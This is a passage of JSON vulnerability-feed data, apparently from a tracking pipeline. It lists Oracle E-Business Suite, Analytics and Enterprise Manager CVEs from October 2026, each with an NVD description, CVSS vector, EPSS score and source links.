exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101541","cveId":"CVE-2026-101541","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.610Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101541","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00371,"percentile":0.30755,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101541&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101541","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101541","type":"primary","publishedAt":"2026-10-20T22:18:03.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101541&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101541, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101540","cveId":"CVE-2026-101540","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.490Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101540","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00371,"percentile":0.30762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101540&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101540","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101540","type":"primary","publishedAt":"2026-10-20T22:18:03.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101540&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101540, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101536","cveId":"CVE-2026-101536","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).","summary":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.003Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101536","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0037,"percentile":0.30711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101536&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101536","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101536","type":"primary","publishedAt":"2026-10-20T22:18:03.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101536&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101536, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101535","cveId":"CVE-2026-101535","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).","summary":"Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Foundation.  Successful attacks of this vulnerability can result in takeover of Oracle Sales Foundation. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Foundation.  Successful attacks of this vulnerability can result in takeover of Oracle Sales Foundation. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.880Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101535","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0037,"percentile":0.3071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101535","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101535","type":"primary","publishedAt":"2026-10-20T22:18:02.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101534","cveId":"CVE-2026-101534","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).","summary":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  While the vulnerability is in Oracle EDI Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle EDI Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle EDI Gateway accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  While the vulnerability is in Oracle EDI Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle EDI Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle EDI Gateway accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.763Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101534","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0023,"percentile":0.1371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101534&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101534","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101534","type":"primary","publishedAt":"2026-10-20T22:18:02.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101534&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101534, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101532","cveId":"CVE-2026-101532","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).","summary":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.527Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101532","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00499,"percentile":0.42493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101532&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101532","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101532","type":"primary","publishedAt":"2026-10-20T22:18:02.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101532&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101532, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101531","cveId":"CVE-2026-101531","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.410Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101531","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00398,"percentile":0.33771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101531&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101531","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101531","type":"primary","publishedAt":"2026-10-20T22:18:02.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101531&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101531, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101527","cveId":"CVE-2026-101527","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).","summary":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.060Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101527","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00151,"percentile":0.04239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101527&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101527","type":"primary","publishedAt":"2026-10-20T22:18:02.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101527&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101527, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101526","cveId":"CVE-2026-101526","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).","summary":"Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.950Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101526","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00479,"percentile":0.41071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101526&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101526","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101526","type":"primary","publishedAt":"2026-10-20T22:18:01.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101526&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101526, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101525","cveId":"CVE-2026-101525","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).","summary":"Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager for 